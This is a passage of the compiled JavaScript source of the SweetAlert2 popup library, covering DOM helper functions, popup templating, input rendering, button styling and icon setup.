  var capitalizeFirstLetter = function capitalizeFirstLetter(str) {
    return str.charAt(0).toUpperCase() + str.slice(1);
  };
  /**
   * Returns the array of object values (Object.values isn't supported in IE11)
   * @param obj
   */

  var objectValues = function objectValues(obj) {
    return Object.keys(obj).map(function (key) {
      return obj[key];
    });
  };
  /**
   * Convert NodeList to Array
   * @param nodeList
   */

  var toArray = function toArray(nodeList) {
    return Array.prototype.slice.call(nodeList);
  };
  /**
   * Standardise console warnings
   * @param message
   */

  var warn = function warn(message) {
    console.warn("".concat(consolePrefix, " ").concat(message));
  };
  /**
   * Standardise console errors
   * @param message
   */

  var error = function error(message) {
    console.error("".concat(consolePrefix, " ").concat(message));
  };
  /**
   * Private global state for `warnOnce`
   * @type {Array}
   * @private
   */

  var previousWarnOnceMessages = [];
  /**
   * Show a console warning, but only if it hasn't already been shown
   * @param message
   */

  var warnOnce = function warnOnce(message) {
    if (!(previousWarnOnceMessages.indexOf(message) !== -1)) {
      previousWarnOnceMessages.push(message);
      warn(message);
    }
  };
  /**
   * Show a one-time console warning about deprecated params/methods
   */

  var warnAboutDeprecation = function warnAboutDeprecation(deprecatedParam, useInstead) {
    warnOnce("\"".concat(deprecatedParam, "\" is deprecated and will be removed in the next major release. Please use \"").concat(useInstead, "\" instead."));
  };
  /**
   * If `arg` is a function, call it (with no arguments or context) and return the result.
   * Otherwise, just pass the value through
   * @param arg
   */

  var callIfFunction = function callIfFunction(arg) {
    return typeof arg === 'function' ? arg() : arg;
  };
  var hasToPromiseFn = function hasToPromiseFn(arg) {
    return arg && typeof arg.toPromise === 'function';
  };
  var asPromise = function asPromise(arg) {
    return hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  };
  var isPromise = function isPromise(arg) {
    return arg && Promise.resolve(arg) === arg;
  };

  var DismissReason = Object.freeze({
    cancel: 'cancel',
    backdrop: 'backdrop',
    close: 'close',
    esc: 'esc',
    timer: 'timer'
  });

  var isJqueryElement = function isJqueryElement(elem) {
    return _typeof(elem) === 'object' && elem.jquery;
  };

  var isElement = function isElement(elem) {
    return elem instanceof Element || isJqueryElement(elem);
  };

  var argsToParams = function argsToParams(args) {
    var params = {};

    if (_typeof(args[0]) === 'object' && !isElement(args[0])) {
      _extends(params, args[0]);
    } else {
      ['title', 'html', 'icon'].forEach(function (name, index) {
        var arg = args[index];

        if (typeof arg === 'string' || isElement(arg)) {
          params[name] = arg;
        } else if (arg !== undefined) {
          error("Unexpected type of ".concat(name, "! Expected \"string\" or \"Element\", got ").concat(_typeof(arg)));
        }
      });
    }

    return params;
  };

  var swalPrefix = 'swal2-';
  var prefix = function prefix(items) {
    var result = {};

    for (var i in items) {
      result[items[i]] = swalPrefix + items[i];
    }

    return result;
  };
  var swalClasses = prefix(['container', 'shown', 'height-auto', 'iosfix', 'popup', 'modal', 'no-backdrop', 'no-transition', 'toast', 'toast-shown', 'toast-column', 'show', 'hide', 'close', 'title', 'header', 'content', 'html-container', 'actions', 'confirm', 'deny', 'cancel', 'footer', 'icon', 'icon-content', 'image', 'input', 'file', 'range', 'select', 'radio', 'checkbox', 'label', 'textarea', 'inputerror', 'validation-message', 'progress-steps', 'active-progress-step', 'progress-step', 'progress-step-line', 'loader', 'loading', 'styled', 'top', 'top-start', 'top-end', 'top-left', 'top-right', 'center', 'center-start', 'center-end', 'center-left', 'center-right', 'bottom', 'bottom-start', 'bottom-end', 'bottom-left', 'bottom-right', 'grow-row', 'grow-column', 'grow-fullscreen', 'rtl', 'timer-progress-bar', 'timer-progress-bar-container', 'scrollbar-measure', 'icon-success', 'icon-warning', 'icon-info', 'icon-question', 'icon-error']);
  var iconTypes = prefix(['success', 'warning', 'info', 'question', 'error']);

  var getContainer = function getContainer() {
    return document.body.querySelector(".".concat(swalClasses.container));
  };
  var elementBySelector = function elementBySelector(selectorString) {
    var container = getContainer();
    return container ? container.querySelector(selectorString) : null;
  };

  var elementByClass = function elementByClass(className) {
    return elementBySelector(".".concat(className));
  };

  var getPopup = function getPopup() {
    return elementByClass(swalClasses.popup);
  };
  var getIcons = function getIcons() {
    var popup = getPopup();
    return toArray(popup.querySelectorAll(".".concat(swalClasses.icon)));
  };
  var getIcon = function getIcon() {
    var visibleIcon = getIcons().filter(function (icon) {
      return isVisible(icon);
    });
    return visibleIcon.length ? visibleIcon[0] : null;
  };
  var getTitle = function getTitle() {
    return elementByClass(swalClasses.title);
  };
  var getContent = function getContent() {
    return elementByClass(swalClasses.content);
  };
  var getHtmlContainer = function getHtmlContainer() {
    return elementByClass(swalClasses['html-container']);
  };
  var getImage = function getImage() {
    return elementByClass(swalClasses.image);
  };
  var getProgressSteps = function getProgressSteps() {
    return elementByClass(swalClasses['progress-steps']);
  };
  var getValidationMessage = function getValidationMessage() {
    return elementByClass(swalClasses['validation-message']);
  };
  var getConfirmButton = function getConfirmButton() {
    return elementBySelector(".".concat(swalClasses.actions, " .").concat(swalClasses.confirm));
  };
  var getDenyButton = function getDenyButton() {
    return elementBySelector(".".concat(swalClasses.actions, " .").concat(swalClasses.deny));
  };
  var getLoader = function getLoader() {
    return elementBySelector(".".concat(swalClasses.loader));
  };
  var getCancelButton = function getCancelButton() {
    return elementBySelector(".".concat(swalClasses.actions, " .").concat(swalClasses.cancel));
  };
  var getActions = function getActions() {
    return elementByClass(swalClasses.actions);
  };
  var getHeader = function getHeader() {
    return elementByClass(swalClasses.header);
  };
  var getFooter = function getFooter() {
    return elementByClass(swalClasses.footer);
  };
  var getTimerProgressBar = function getTimerProgressBar() {
    return elementByClass(swalClasses['timer-progress-bar']);
  };
  var getCloseButton = function getCloseButton() {
    return elementByClass(swalClasses.close);
  }; // https://github.com/jkup/focusable/blob/master/index.js

  var focusable = "\n  a[href],\n  area[href],\n  input:not([disabled]),\n  select:not([disabled]),\n  textarea:not([disabled]),\n  button:not([disabled]),\n  iframe,\n  object,\n  embed,\n  [tabindex=\"0\"],\n  [contenteditable],\n  audio[controls],\n  video[controls],\n  summary\n";
  var getFocusableElements = function getFocusableElements() {
    var focusableElementsWithTabindex = toArray(getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')) // sort according to tabindex
    .sort(function (a, b) {
      a = parseInt(a.getAttribute('tabindex'));
      b = parseInt(b.getAttribute('tabindex'));

      if (a > b) {
        return 1;
      } else if (a < b) {
        return -1;
      }

      return 0;
    });
    var otherFocusableElements = toArray(getPopup().querySelectorAll(focusable)).filter(function (el) {
      return el.getAttribute('tabindex') !== '-1';
    });
    return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter(function (el) {
      return isVisible(el);
    });
  };
  var isModal = function isModal() {
    return !isToast() && !document.body.classList.contains(swalClasses['no-backdrop']);
  };
  var isToast = function isToast() {
    return document.body.classList.contains(swalClasses['toast-shown']);
  };
  var isLoading = function isLoading() {
    return getPopup().hasAttribute('data-loading');
  };

  var states = {
    previousBodyPadding: null
  };
  var setInnerHtml = function setInnerHtml(elem, html) {
    // #1926
    elem.textContent = '';

    if (html) {
      var parser = new DOMParser();
      var parsed = parser.parseFromString(html, "text/html");
      toArray(parsed.querySelector('head').childNodes).forEach(function (child) {
        elem.appendChild(child);
      });
      toArray(parsed.querySelector('body').childNodes).forEach(function (child) {
        elem.appendChild(child);
      });
    }
  };
  var hasClass = function hasClass(elem, className) {
    if (!className) {
      return false;
    }

    var classList = className.split(/\s+/);

    for (var i = 0; i < classList.length; i++) {
      if (!elem.classList.contains(classList[i])) {
        return false;
      }
    }

    return true;
  };

  var removeCustomClasses = function removeCustomClasses(elem, params) {
    toArray(elem.classList).forEach(function (className) {
      if (!(objectValues(swalClasses).indexOf(className) !== -1) && !(objectValues(iconTypes).indexOf(className) !== -1) && !(objectValues(params.showClass).indexOf(className) !== -1)) {
        elem.classList.remove(className);
      }
    });
  };

  var applyCustomClass = function applyCustomClass(elem, params, className) {
    removeCustomClasses(elem, params);

    if (params.customClass && params.customClass[className]) {
      if (typeof params.customClass[className] !== 'string' && !params.customClass[className].forEach) {
        return warn("Invalid type of customClass.".concat(className, "! Expected string or iterable object, got \"").concat(_typeof(params.customClass[className]), "\""));
      }

      addClass(elem, params.customClass[className]);
    }
  };
  function getInput(content, inputType) {
    if (!inputType) {
      return null;
    }

    switch (inputType) {
      case 'select':
      case 'textarea':
      case 'file':
        return getChildByClass(content, swalClasses[inputType]);

      case 'checkbox':
        return content.querySelector(".".concat(swalClasses.checkbox, " input"));

      case 'radio':
        return content.querySelector(".".concat(swalClasses.radio, " input:checked")) || content.querySelector(".".concat(swalClasses.radio, " input:first-child"));

      case 'range':
        return content.querySelector(".".concat(swalClasses.range, " input"));

      default:
        return getChildByClass(content, swalClasses.input);
    }
  }
  var focusInput = function focusInput(input) {
    input.focus(); // place cursor at end of text in text input

    if (input.type !== 'file') {
      // http://stackoverflow.com/a/2345915
      var val = input.value;
      input.value = '';
      input.value = val;
    }
  };
  var toggleClass = function toggleClass(target, classList, condition) {
    if (!target || !classList) {
      return;
    }

    if (typeof classList === 'string') {
      classList = classList.split(/\s+/).filter(Boolean);
    }

    classList.forEach(function (className) {
      if (target.forEach) {
        target.forEach(function (elem) {
          condition ? elem.classList.add(className) : elem.classList.remove(className);
        });
      } else {
        condition ? target.classList.add(className) : target.classList.remove(className);
      }
    });
  };
  var addClass = function addClass(target, classList) {
    toggleClass(target, classList, true);
  };
  var removeClass = function removeClass(target, classList) {
    toggleClass(target, classList, false);
  };
  var getChildByClass = function getChildByClass(elem, className) {
    for (var i = 0; i < elem.childNodes.length; i++) {
      if (hasClass(elem.childNodes[i], className)) {
        return elem.childNodes[i];
      }
    }
  };
  var applyNumericalStyle = function applyNumericalStyle(elem, property, value) {
    if (value || parseInt(value) === 0) {
      elem.style[property] = typeof value === 'number' ? "".concat(value, "px") : value;
    } else {
      elem.style.removeProperty(property);
    }
  };
  var show = function show(elem) {
    var display = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'flex';
    elem.style.display = display;
  };
  var hide = function hide(elem) {
    elem.style.display = 'none';
  };
  var setStyle = function setStyle(parent, selector, property, value) {
    var el = parent.querySelector(selector);

    if (el) {
      el.style[property] = value;
    }
  };
  var toggle = function toggle(elem, condition, display) {
    condition ? show(elem, display) : hide(elem);
  }; // borrowed from jquery $(elem).is(':visible') implementation

  var isVisible = function isVisible(elem) {
    return !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  };
  /* istanbul ignore next */

  var isScrollable = function isScrollable(elem) {
    return !!(elem.scrollHeight > elem.clientHeight);
  }; // borrowed from https://stackoverflow.com/a/46352119

  var hasCssAnimation = function hasCssAnimation(elem) {
    var style = window.getComputedStyle(elem);
    var animDuration = parseFloat(style.getPropertyValue('animation-duration') || '0');
    var transDuration = parseFloat(style.getPropertyValue('transition-duration') || '0');
    return animDuration > 0 || transDuration > 0;
  };
  var contains = function contains(haystack, needle) {
    if (typeof haystack.contains === 'function') {
      return haystack.contains(needle);
    }
  };
  var animateTimerProgressBar = function animateTimerProgressBar(timer) {
    var reset = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
    var timerProgressBar = getTimerProgressBar();

    if (isVisible(timerProgressBar)) {
      if (reset) {
        timerProgressBar.style.transition = 'none';
        timerProgressBar.style.width = '100%';
      }

      setTimeout(function () {
        timerProgressBar.style.transition = "width ".concat(timer / 1000, "s linear");
        timerProgressBar.style.width = '0%';
      }, 10);
    }
  };
  var stopTimerProgressBar = function stopTimerProgressBar() {
    var timerProgressBar = getTimerProgressBar();
    var timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
    timerProgressBar.style.removeProperty('transition');
    timerProgressBar.style.width = '100%';
    var timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
    var timerProgressBarPercent = parseInt(timerProgressBarWidth / timerProgressBarFullWidth * 100);
    timerProgressBar.style.removeProperty('transition');
    timerProgressBar.style.width = "".concat(timerProgressBarPercent, "%");
  };

  // Detect Node env
  var isNodeEnv = function isNodeEnv() {
    return typeof window === 'undefined' || typeof document === 'undefined';
  };

  var sweetHTML = "\n <div aria-labelledby=\"".concat(swalClasses.title, "\" aria-describedby=\"").concat(swalClasses.content, "\" class=\"").concat(swalClasses.popup, "\" tabindex=\"-1\">\n   <div class=\"").concat(swalClasses.header, "\">\n     <ul class=\"").concat(swalClasses['progress-steps'], "\"></ul>\n     <div class=\"").concat(swalClasses.icon, " ").concat(iconTypes.error, "\"></div>\n     <div class=\"").concat(swalClasses.icon, " ").concat(iconTypes.question, "\"></div>\n     <div class=\"").concat(swalClasses.icon, " ").concat(iconTypes.warning, "\"></div>\n     <div class=\"").concat(swalClasses.icon, " ").concat(iconTypes.info, "\"></div>\n     <div class=\"").concat(swalClasses.icon, " ").concat(iconTypes.success, "\"></div>\n     <img class=\"").concat(swalClasses.image, "\" />\n     <h2 class=\"").concat(swalClasses.title, "\" id=\"").concat(swalClasses.title, "\"></h2>\n     <button type=\"button\" class=\"").concat(swalClasses.close, "\"></button>\n   </div>\n   <div class=\"").concat(swalClasses.content, "\">\n     <div id=\"").concat(swalClasses.content, "\" class=\"").concat(swalClasses['html-container'], "\"></div>\n     <input class=\"").concat(swalClasses.input, "\" />\n     <input type=\"file\" class=\"").concat(swalClasses.file, "\" />\n     <div class=\"").concat(swalClasses.range, "\">\n       <input type=\"range\" />\n       <output></output>\n     </div>\n     <select class=\"").concat(swalClasses.select, "\"></select>\n     <div class=\"").concat(swalClasses.radio, "\"></div>\n     <label for=\"").concat(swalClasses.checkbox, "\" class=\"").concat(swalClasses.checkbox, "\">\n       <input type=\"checkbox\" />\n       <span class=\"").concat(swalClasses.label, "\"></span>\n     </label>\n     <textarea class=\"").concat(swalClasses.textarea, "\"></textarea>\n     <div class=\"").concat(swalClasses['validation-message'], "\" id=\"").concat(swalClasses['validation-message'], "\"></div>\n   </div>\n   <div class=\"").concat(swalClasses.actions, "\">\n     <div class=\"").concat(swalClasses.loader, "\"></div>\n     <button type=\"button\" class=\"").concat(swalClasses.confirm, "\"></button>\n     <button type=\"button\" class=\"").concat(swalClasses.deny, "\"></button>\n     <button type=\"button\" class=\"").concat(swalClasses.cancel, "\"></button>\n   </div>\n   <div class=\"").concat(swalClasses.footer, "\"></div>\n   <div class=\"").concat(swalClasses['timer-progress-bar-container'], "\">\n     <div class=\"").concat(swalClasses['timer-progress-bar'], "\"></div>\n   </div>\n </div>\n").replace(/(^|\n)\s*/g, '');

  var resetOldContainer = function resetOldContainer() {
    var oldContainer = getContainer();

    if (!oldContainer) {
      return false;
    }

    oldContainer.parentNode.removeChild(oldContainer);
    removeClass([document.documentElement, document.body], [swalClasses['no-backdrop'], swalClasses['toast-shown'], swalClasses['has-column']]);
    return true;
  };

  var oldInputVal; // IE11 workaround, see #1109 for details

  var resetValidationMessage = function resetValidationMessage(e) {
    if (Swal.isVisible() && oldInputVal !== e.target.value) {
      Swal.resetValidationMessage();
    }

    oldInputVal = e.target.value;
  };

  var addInputChangeListeners = function addInputChangeListeners() {
    var content = getContent();
    var input = getChildByClass(content, swalClasses.input);
    var file = getChildByClass(content, swalClasses.file);
    var range = content.querySelector(".".concat(swalClasses.range, " input"));
    var rangeOutput = content.querySelector(".".concat(swalClasses.range, " output"));
    var select = getChildByClass(content, swalClasses.select);
    var checkbox = content.querySelector(".".concat(swalClasses.checkbox, " input"));
    var textarea = getChildByClass(content, swalClasses.textarea);
    input.oninput = resetValidationMessage;
    file.onchange = resetValidationMessage;
    select.onchange = resetValidationMessage;
    checkbox.onchange = resetValidationMessage;
    textarea.oninput = resetValidationMessage;

    range.oninput = function (e) {
      resetValidationMessage(e);
      rangeOutput.value = range.value;
    };

    range.onchange = function (e) {
      resetValidationMessage(e);
      range.nextSibling.value = range.value;
    };
  };

  var getTarget = function getTarget(target) {
    return typeof target === 'string' ? document.querySelector(target) : target;
  };

  var setupAccessibility = function setupAccessibility(params) {
    var popup = getPopup();
    popup.setAttribute('role', params.toast ? 'alert' : 'dialog');
    popup.setAttribute('aria-live', params.toast ? 'polite' : 'assertive');

    if (!params.toast) {
      popup.setAttribute('aria-modal', 'true');
    }
  };

  var setupRTL = function setupRTL(targetElement) {
    if (window.getComputedStyle(targetElement).direction === 'rtl') {
      addClass(getContainer(), swalClasses.rtl);
    }
  };
  /*
   * Add modal + backdrop to DOM
   */


  var init = function init(params) {
    // Clean up the old popup container if it exists
    var oldContainerExisted = resetOldContainer();
    /* istanbul ignore if */

    if (isNodeEnv()) {
      error('SweetAlert2 requires document to initialize');
      return;
    }

    var container = document.createElement('div');
    container.className = swalClasses.container;

    if (oldContainerExisted) {
      addClass(container, swalClasses['no-transition']);
    }

    setInnerHtml(container, sweetHTML);
    var targetElement = getTarget(params.target);
    targetElement.appendChild(container);
    setupAccessibility(params);
    setupRTL(targetElement);
    addInputChangeListeners();
  };

  var parseHtmlToContainer = function parseHtmlToContainer(param, target) {
    // DOM element
    if (param instanceof HTMLElement) {
      target.appendChild(param); // Object
    } else if (_typeof(param) === 'object') {
      handleObject(param, target); // Plain string
    } else if (param) {
      setInnerHtml(target, param);
    }
  };

  var handleObject = function handleObject(param, target) {
    // JQuery element(s)
    if (param.jquery) {
      handleJqueryElem(target, param); // For other objects use their string representation
    } else {
      setInnerHtml(target, param.toString());
    }
  };

  var handleJqueryElem = function handleJqueryElem(target, elem) {
    target.textContent = '';

    if (0 in elem) {
      for (var i = 0; (i in elem); i++) {
        target.appendChild(elem[i].cloneNode(true));
      }
    } else {
      target.appendChild(elem.cloneNode(true));
    }
  };

  var animationEndEvent = function () {
    // Prevent run in Node env

    /* istanbul ignore if */
    if (isNodeEnv()) {
      return false;
    }

    var testEl = document.createElement('div');
    var transEndEventNames = {
      WebkitAnimation: 'webkitAnimationEnd',
      OAnimation: 'oAnimationEnd oanimationend',
      animation: 'animationend'
    };

    for (var i in transEndEventNames) {
      if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== 'undefined') {
        return transEndEventNames[i];
      }
    }

    return false;
  }();

  // https://github.com/twbs/bootstrap/blob/master/js/src/modal.js

  var measureScrollbar = function measureScrollbar() {
    var scrollDiv = document.createElement('div');
    scrollDiv.className = swalClasses['scrollbar-measure'];
    document.body.appendChild(scrollDiv);
    var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
    document.body.removeChild(scrollDiv);
    return scrollbarWidth;
  };

  var renderActions = function renderActions(instance, params) {
    var actions = getActions();
    var loader = getLoader();
    var confirmButton = getConfirmButton();
    var denyButton = getDenyButton();
    var cancelButton = getCancelButton(); // Actions (buttons) wrapper

    if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
      hide(actions);
    } // Custom class


    applyCustomClass(actions, params, 'actions'); // Render buttons

    renderButton(confirmButton, 'confirm', params);
    renderButton(denyButton, 'deny', params);
    renderButton(cancelButton, 'cancel', params); // Loader

    loader.innerHTML = params.loaderHtml;

    if (params.buttonsStyling) {
      handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
    } else {
      removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
    }

    if (params.reverseButtons) {
      actions.insertBefore(cancelButton, loader);
      actions.insertBefore(denyButton, loader);
      actions.insertBefore(confirmButton, loader);
    }
  };

  function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
    addClass([confirmButton, denyButton, cancelButton], swalClasses.styled); // Buttons background colors

    if (params.confirmButtonColor) {
      confirmButton.style.backgroundColor = params.confirmButtonColor;
    }

    if (params.denyButtonColor) {
      denyButton.style.backgroundColor = params.denyButtonColor;
    }

    if (params.cancelButtonColor) {
      cancelButton.style.backgroundColor = params.cancelButtonColor;
    } // Loading state


    if (!isLoading()) {
      var confirmButtonBackgroundColor = window.getComputedStyle(confirmButton).getPropertyValue('background-color');
      confirmButton.style.borderLeftColor = confirmButtonBackgroundColor;
      confirmButton.style.borderRightColor = confirmButtonBackgroundColor;
    }
  }

  function renderButton(button, buttonType, params) {
    toggle(button, params["show".concat(capitalizeFirstLetter(buttonType), "Button")], 'inline-block');
    setInnerHtml(button, params["".concat(buttonType, "ButtonText")]); // Set caption text

    button.setAttribute('aria-label', params["".concat(buttonType, "ButtonAriaLabel")]); // ARIA label
    // Add buttons custom classes

    button.className = swalClasses[buttonType];
    applyCustomClass(button, params, "".concat(buttonType, "Button"));
    addClass(button, params["".concat(buttonType, "ButtonClass")]);
  }

  function handleBackdropParam(container, backdrop) {
    if (typeof backdrop === 'string') {
      container.style.background = backdrop;
    } else if (!backdrop) {
      addClass([document.documentElement, document.body], swalClasses['no-backdrop']);
    }
  }

  function handlePositionParam(container, position) {
    if (position in swalClasses) {
      addClass(container, swalClasses[position]);
    } else {
      warn('The "position" parameter is not valid, defaulting to "center"');
      addClass(container, swalClasses.center);
    }
  }

  function handleGrowParam(container, grow) {
    if (grow && typeof grow === 'string') {
      var growClass = "grow-".concat(grow);

      if (growClass in swalClasses) {
        addClass(container, swalClasses[growClass]);
      }
    }
  }

  var renderContainer = function renderContainer(instance, params) {
    var container = getContainer();

    if (!container) {
      return;
    }

    handleBackdropParam(container, params.backdrop);

    if (!params.backdrop && params.allowOutsideClick) {
      warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
    }

    handlePositionParam(container, params.position);
    handleGrowParam(container, params.grow); // Custom class

    applyCustomClass(container, params, 'container'); // Set queue step attribute for getQueueStep() method

    var queueStep = document.body.getAttribute('data-swal2-queue-step');

    if (queueStep) {
      container.setAttribute('data-queue-step', queueStep);
      document.body.removeAttribute('data-swal2-queue-step');
    }
  };

  /**
   * This module containts `WeakMap`s for each effectively-"private  property" that a `Swal` has.
   * For example, to set the private property "foo" of `this` to "bar", you can `privateProps.foo.set(this, 'bar')`
   * This is the approach that Babel will probably take to implement private methods/fields
   *   https://github.com/tc39/proposal-private-methods
   *   https://github.com/babel/babel/pull/7555
   * Once we have the changes from that PR in Babel, and our core class fits reasonable in *one module*
   *   then we can use that language feature.
   */
  var privateProps = {
    promise: new WeakMap(),
    innerParams: new WeakMap(),
    domCache: new WeakMap()
  };

  var inputTypes = ['input', 'file', 'range', 'select', 'radio', 'checkbox', 'textarea'];
  var renderInput = function renderInput(instance, params) {
    var content = getContent();
    var innerParams = privateProps.innerParams.get(instance);
    var rerender = !innerParams || params.input !== innerParams.input;
    inputTypes.forEach(function (inputType) {
      var inputClass = swalClasses[inputType];
      var inputContainer = getChildByClass(content, inputClass); // set attributes

      setAttributes(inputType, params.inputAttributes); // set class

      inputContainer.className = inputClass;

      if (rerender) {
        hide(inputContainer);
      }
    });

    if (params.input) {
      if (rerender) {
        showInput(params);
      } // set custom class


      setCustomClass(params);
    }
  };

  var showInput = function showInput(params) {
    if (!renderInputType[params.input]) {
      return error("Unexpected type of input! Expected \"text\", \"email\", \"password\", \"number\", \"tel\", \"select\", \"radio\", \"checkbox\", \"textarea\", \"file\" or \"url\", got \"".concat(params.input, "\""));
    }

    var inputContainer = getInputContainer(params.input);
    var input = renderInputType[params.input](inputContainer, params);
    show(input); // input autofocus

    setTimeout(function () {
      focusInput(input);
    });
  };

  var removeAttributes = function removeAttributes(input) {
    for (var i = 0; i < input.attributes.length; i++) {
      var attrName = input.attributes[i].name;

      if (!(['type', 'value', 'style'].indexOf(attrName) !== -1)) {
        input.removeAttribute(attrName);
      }
    }
  };

  var setAttributes = function setAttributes(inputType, inputAttributes) {
    var input = getInput(getContent(), inputType);

    if (!input) {
      return;
    }

    removeAttributes(input);

    for (var attr in inputAttributes) {
      // Do not set a placeholder for <input type="range">
      // it'll crash Edge, #1298
      if (inputType === 'range' && attr === 'placeholder') {
        continue;
      }

      input.setAttribute(attr, inputAttributes[attr]);
    }
  };

  var setCustomClass = function setCustomClass(params) {
    var inputContainer = getInputContainer(params.input);

    if (params.customClass) {
      addClass(inputContainer, params.customClass.input);
    }
  };

  var setInputPlaceholder = function setInputPlaceholder(input, params) {
    if (!input.placeholder || params.inputPlaceholder) {
      input.placeholder = params.inputPlaceholder;
    }
  };

  var getInputContainer = function getInputContainer(inputType) {
    var inputClass = swalClasses[inputType] ? swalClasses[inputType] : swalClasses.input;
    return getChildByClass(getContent(), inputClass);
  };

  var renderInputType = {};

  renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = function (input, params) {
    if (typeof params.inputValue === 'string' || typeof params.inputValue === 'number') {
      input.value = params.inputValue;
    } else if (!isPromise(params.inputValue)) {
      warn("Unexpected type of inputValue! Expected \"string\", \"number\" or \"Promise\", got \"".concat(_typeof(params.inputValue), "\""));
    }

    setInputPlaceholder(input, params);
    input.type = params.input;
    return input;
  };

  renderInputType.file = function (input, params) {
    setInputPlaceholder(input, params);
    return input;
  };

  renderInputType.range = function (range, params) {
    var rangeInput = range.querySelector('input');
    var rangeOutput = range.querySelector('output');
    rangeInput.value = params.inputValue;
    rangeInput.type = params.input;
    rangeOutput.value = params.inputValue;
    return range;
  };

  renderInputType.select = function (select, params) {
    select.textContent = '';

    if (params.inputPlaceholder) {
      var placeholder = document.createElement('option');
      setInnerHtml(placeholder, params.inputPlaceholder);
      placeholder.value = '';
      placeholder.disabled = true;
      placeholder.selected = true;
      select.appendChild(placeholder);
    }

    return select;
  };

  renderInputType.radio = function (radio) {
    radio.textContent = '';
    return radio;
  };

  renderInputType.checkbox = function (checkboxContainer, params) {
    var checkbox = getInput(getContent(), 'checkbox');
    checkbox.value = 1;
    checkbox.id = swalClasses.checkbox;
    checkbox.checked = Boolean(params.inputValue);
    var label = checkboxContainer.querySelector('span');
    setInnerHtml(label, params.inputPlaceholder);
    return checkboxContainer;
  };

  renderInputType.textarea = function (textarea, params) {
    textarea.value = params.inputValue;
    setInputPlaceholder(textarea, params);

    if ('MutationObserver' in window) {
      // #1699
      var initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
      var popupPadding = parseInt(window.getComputedStyle(getPopup()).paddingLeft) + parseInt(window.getComputedStyle(getPopup()).paddingRight);

      var outputsize = function outputsize() {
        var contentWidth = textarea.offsetWidth + popupPadding;

        if (contentWidth > initialPopupWidth) {
          getPopup().style.width = "".concat(contentWidth, "px");
        } else {
          getPopup().style.width = null;
        }
      };

      new MutationObserver(outputsize).observe(textarea, {
        attributes: true,
        attributeFilter: ['style']
      });
    }

    return textarea;
  };

  var renderContent = function renderContent(instance, params) {
    var content = getContent().querySelector("#".concat(swalClasses.content)); // Content as HTML

    if (params.html) {
      parseHtmlToContainer(params.html, content);
      show(content, 'block'); // Content as plain text
    } else if (params.text) {
      content.textContent = params.text;
      show(content, 'block'); // No content
    } else {
      hide(content);
    }

    renderInput(instance, params); // Custom class

    applyCustomClass(getContent(), params, 'content');
  };

  var renderFooter = function renderFooter(instance, params) {
    var footer = getFooter();
    toggle(footer, params.footer);

    if (params.footer) {
      parseHtmlToContainer(params.footer, footer);
    } // Custom class


    applyCustomClass(footer, params, 'footer');
  };

  var renderCloseButton = function renderCloseButton(instance, params) {
    var closeButton = getCloseButton();
    setInnerHtml(closeButton, params.closeButtonHtml); // Custom class

    applyCustomClass(closeButton, params, 'closeButton');
    toggle(closeButton, params.showCloseButton);
    closeButton.setAttribute('aria-label', params.closeButtonAriaLabel);
  };

  var renderIcon = function renderIcon(instance, params) {
    var innerParams = privateProps.innerParams.get(instance); // if the given icon already rendered, apply the styling without re-rendering the icon

    if (innerParams && params.icon === innerParams.icon && getIcon()) {
      applyStyles(getIcon(), params);
      return;
    }

    hideAllIcons();

    if (!params.icon) {
      return;
    }

    if (Object.keys(iconTypes).indexOf(params.icon) !== -1) {
      var icon = elementBySelector(".".concat(swalClasses.icon, ".").concat(iconTypes[params.icon]));
      show(icon); // Custom or default content

      setContent(icon, params);
      applyStyles(icon, params); // Animate icon

      addClass(icon, params.showClass.icon);
    } else {
      error("Unknown icon! Expected \"success\", \"error\", \"warning\", \"info\" or \"question\", got \"".concat(params.icon, "\""));
    }
  };

  var hideAllIcons = function hideAllIcons() {
    var icons = getIcons();

    for (var i = 0; i < icons.length; i++) {
      hide(icons[i]);
    }
  };

  var applyStyles = function applyStyles(icon, params) {
    // Icon color
    setColor(icon, params); // Success icon background color

    adjustSuccessIconBackgoundColor(); // Custom class

    applyCustomClass(icon, params, 'icon');
  }; // Adjust success icon background color to match the popup background color


  var adjustSuccessIconBackgoundColor = function adjustSuccessIconBackgoundColor() {
    var popup = getPopup();
    var popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue('background-color');
    var successIconParts = popup.querySelectorAll('[class^=swal2-success-circular-line], .swal2-success-fix');

    for (var i = 0; i < successIconParts.length; i++) {
      successIconParts[i].style.backgroundColor = popupBackgroundColor;
    }
  };

  var setContent = function setContent(icon, params) {
    icon.textContent = '';

    if (params.iconHtml) {
      setInnerHtml(icon, iconContent(params.iconHtml));
    } else if (params.icon === 'success') {
      setInnerHtml(icon, "\n      <div class=\"swal2-success-circular-line-left\"></div>\n      <span class=\"swal2-success-line-tip\"></span> <span class=\"swal2-success-line-long\"></span>\n      <div class=\"swal2-success-ring\"></div> <div class=\"swal2-success-fix\"></div>\n      <div class=\"swal2-success-circular-line-right\"></div>\n    ");
    } else if (params.icon === 'error') {
      setInnerHtml(icon, "\n      <span class=\"swal2-x-mark\">\n        <span class=\"swal2-x-mark-line-left\"></span>\n        <span class=\"swal2-x-mark-line-right\"></span>\n      </span>\n    ");
    } else {
      var defaultIconHtml = {
        question: '?',
        warning: '!',
        info: 'i'
      };
      setInnerHtml(icon, iconContent(defaultIconHtml[params.icon]));
    }
  };

  var setColor = function setColor(icon, params) {
    if (!params.iconColor) {
      return;
    }

    icon.style.color = params.iconColor;
    icon.style.borderColor = params.iconColor;

